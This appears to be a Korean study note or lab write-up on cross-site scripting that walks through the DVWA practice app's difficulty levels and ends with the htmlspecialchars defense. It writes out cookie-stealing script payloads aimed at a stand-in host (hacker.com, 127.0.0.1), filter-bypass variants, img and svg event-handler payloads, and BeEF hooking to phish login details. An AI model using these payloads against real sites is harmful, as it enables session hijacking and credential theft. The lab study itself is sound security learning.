크로스사이트스크립팅(XSS) 공격
자바 스크립트
웹 애플리케이션에서 사용되는 언어
HTML: 텍스트, 이미지 등 정적인 내용을 표시
자바스크립트 : 동적인 기능 구현(ex. 마우스를 가져가면 메뉴의 색깔이 변함)
<script>스크립트 코드</script>와 같이 구현
<script>document.location='http://hacker.com/cookie?' +
document.cookie</script>
<script src=http://hacker.com/bad.js></script>
XSS공격
클라이언트 쪽의 웹브라우저를 공격하는 기법
<script>와 같은 입력값이 그대로 웹페이지에 표시되면 위험
자바스크립트를 이용해 세션쿠키를 탈취
Reflected XSS 공격
이메일로 먼저 피싱을 함 이링크에는 세션쿠키를 빼내는 스크립트를 담아둠
스크립트코드가 삽입된 요청 전송
그러면 스크립트가 반사가 되면서 스크립트 실행이되고 세션쿠키를 해커에게 주고 해커는 세션쿠키를 이용하여 사용자 권한으로 접속
Stored XSS공격
해커가 방명록같은 곳에 스크립트를 삽입
이후 아무것도 모르는 사용자가 방명록을 작성하면서 해커가 작성한 글을 보게 됨
이때 스크립트 코드가 사용자에게 전달되고 웹브라우저는 자동으로 실행
이후 세션쿠키를 해커에게 주고 해커는 그 세션쿠키로 사용자 권한으로 접속
실습으로 들어가서
이름을 입력하라고 하는데 아무거나 입력하면 Hello 이름 이런식으로 나온다
XSS에 취약한지 알고싶다면
<script>alert(1)</script> 이런식으로 입력해본다
취약점이 있다면 1이 출력이 된다
<script>alert(document.cookie)</script> 하면 쿠키값을 보여준다
<script>document.location='http://127.0.0.1/
cookie?' + document.cookie</script>
이런식으로 사용할 수 있다
다시 돌아와서 이름에 alice라고 쳐본다
그러면 위 주소창에서 name=alice 이런식으로 뜬다
name뒤의 이름부분에 스크립트를 집어넣어서 개인정보를 탈취할 수 있다
Stored XSS을 보자
여기는 방명록이 있는데 길이 제한이 있다
textarea를 눌러 inspect element를 해주자
max length를 50이 아닌 한 500정도로 늘려주고
<script>document.location='http://127.0.0.1/
cookie?' + document.cookie</script> 을 입력해보자
바로 쿠키가 해커호스트에게 넘어가게된다
BeEF 프레임워크
로그인을 해주자 초기 아이디 비번은 beef
Hook을 이용하라고 하는데 Hook아래 Example의 스크립트코드를 복사해주고 dvwa에 붙혀넣어주자
그럼 beef 홈페이지에 갱신이 되고 여러가지 정보들이 나온다
커맨드 메뉴로 간 뒤에 pretty theft로 가서 excute해주면
dvwa에서 페이스북 로그인 창이 뜨게 되는데 그곳에 입력한 정보를 가져올 수 있게 된다
medium 단계
<script>alert(1)</script> 를 입력하니 스크립트는 실행이 안되고 문자만 출력이 된다
소스를 보니 str_replace 로 <script>를 지워주는 것을 볼 수 있었다
하지만 이것의 허점은 소문자만 지워주는 것이다
대문자로 해주니 스크립트가 실행이 된다
<scr<script>ipt>alert(1)</script> 이런 형태 또한 가능하다
high 단계
위의 방법이 먹히지 않는다
소스코드를 보자
소스코드를 보니 정규식을 이용해서 대소문자를 구분하고 각 문자 사이의 시도되는 우회공격도 방어하고 있다
이 방법은 단순히 스크립트 공격만 먹히지 않으므로 html 태그를 이용하는 방법을 사용해 볼 수 있다
<img src=x onerror=window.location.assign("http://127.0.0.1/hacked.php")>
<svg onload=window.location.assign("http://127.0.0.1/hacked.php")>
주소창만 바꾼다면 그 주소로 원하는 값을 얻어낼 수 있을 것이다
impossible 단계
소스를 보면 htmlspecialchars를 사용하고 있다
php document를 보면 &, ", ', <, > 가 < > 이런식으로 변하는 것을 볼 수 있는데
이것은 특수문자를 화면으로 그대로 출력하되 그 기능들은 못이용하게 하는 것이다